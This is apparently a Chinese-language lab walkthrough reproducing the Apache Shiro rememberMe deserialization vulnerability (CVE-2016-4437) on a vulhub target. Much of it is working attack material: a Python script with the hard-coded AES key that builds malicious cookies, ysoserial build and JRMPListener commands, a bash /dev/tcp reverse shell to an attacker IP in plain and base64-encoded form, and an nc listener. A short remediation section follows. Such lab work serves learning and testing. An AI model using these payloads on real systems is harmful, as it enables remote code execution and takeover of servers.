shiro java 反序列漏洞复现
打开虚拟机启动靶场/vulhub-master/shiro/CVE-2016-4437环境(省略)
推荐网址:https://www.cnblogs.com/bmjoker/articles/11650295.html
漏洞原理
大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理:
使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容
同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:
Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化
问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。
工具利用
工具的制作利用以上原理,对poc进行一个AES加密,只要AES的加密key值对应其秘钥,就可以成功利用漏洞进行反序列化的操作。
操作
首先判断是否存在shiro反序列化漏洞:
- 访问虚拟机靶场环境,端口8080
-
打开bp,抓取登录包重放
-
返回值中能在set-cookie很明显看到rememberme=deleteme 这个的字段,那么很有可能存在shiro漏洞
-
验证,使用bp的collabotator模块给你一个检验域名
-
运行shiro.py根据域名生成payload,后面的网址就是上一步生成的域名,前面自己加上http://头。生成payload。(因为这个脚本只有一个key值,所以有时候试不出来。可以用另外一个工具shiro_Check.exe,里面有10个常用key值,需要自己去geihub上面下载或者私聊我。用法:xx.exe -u loudong wangzhi -d dnslog dizhi)
python2 shiro.py "http://onf9lyddyqqo3qo20rdfbetrciic61.burpcollaborator.net"
-
复制payload,重放登录包,将payload添加在cookie值后面,记得和前面用分号隔开。
-
发送包,看返回值,很明显有两个cookie:rememberme
-
成功,查看bp的collaborator的模块的返回情况。确定是存在漏洞的。
漏洞复现:
靶机:192.168.73.131
攻击机IP:192.168.44.118
bash编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。下载命令
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
shiro_exp_payload.py:白嫖大哥的
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen([\'java\', \'-jar\', \'ysoserial-master-SNAPSHOT.jar\', \'JRMPClient\', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == \'__main__\':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
-
在http://www.jackson-t.ca/runtime-exec-payloads.html网站上将攻击语句进行编码,制作反弹shell的命令
bash -i >& /dev/tcp/192.168.44.118/1069 0>&1
-
然后使用ysoseria中的jrmp监听模块,监听9999端口。并且执行反弹shell命令(将shell结果反弹给192.168.44.118/1069端口)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjExNy8xMDY5DA+JjE=}|{base64,-d}|{bash,-i}"
双引号括起来的就是第一步制作的反弹shell命令
-
在需要要反弹结果的机器上面监听1069端口(这里为了方便起见还是攻击机),等待反弹的结果(监听bash反弹shell的端口)
nc -lvp 1069
-
使用python脚本(端口是攻击机监听的端口9999,也就是用这个端口发出攻击)
python2 shiro_exp_payload.py 192.168.45.118:9999
-
把代码放入请求包中(还是cookie的地方),发送即可反弹shell
总结攻击思路:
- 首先通过shiro_exp_payload.py生成的payload访问攻击端口9999
- 端口9999攻击机通过CommonsCollections5执行系统命令反弹shell给需要反弹的机器(这里还是攻击机不过端口是1069)
修复建议
-
生成新的秘钥加密
-
在shiro的配置文件里,引用GenerateCipherKey的generateNewKey方法随机生成秘钥
public class GenerateCipherKey { /** * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int) * @return */ public static byte[] generateNewKey() { KeyGenerator kg; try { kg = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException var5) { String msg = "Unable to acquire AES algorithm. This is required to function."; throw new IllegalStateException(msg, var5); } kg.init(128); SecretKey key = kg.generateKey(); byte[] encoded = key.getEncoded(); return encoded; } }